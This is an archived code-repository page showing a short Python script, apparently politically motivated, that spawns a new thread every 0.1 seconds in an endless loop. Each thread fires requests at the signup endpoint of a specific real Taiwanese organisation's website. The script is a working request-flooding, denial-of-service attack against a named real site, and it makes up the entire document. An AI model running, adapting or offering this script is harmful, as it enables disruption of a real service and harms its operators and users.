This repository has been archived on 2023-01-08. You can view files and clone it, but cannot push or open issues or pull requests.
Files
defend-two-chiang/守護中華民國.py
Pin Lin 6ee5286343
2018-03-04 22:35:16 +08:00

16 lines
360 B
Python

import threading
import requests, time
payload = {'name': 'hi'}
class MyTherad(threading.Thread):
def run(self):
response = requests.get('http://www.cmiaahq.org.tw/signup/ajax.php?ajcode=1&apost=1', data=payload)
print(response.status_code)
print(response.text)
while True:
wa = MyTherad()
wa.start()
time.sleep(0.1)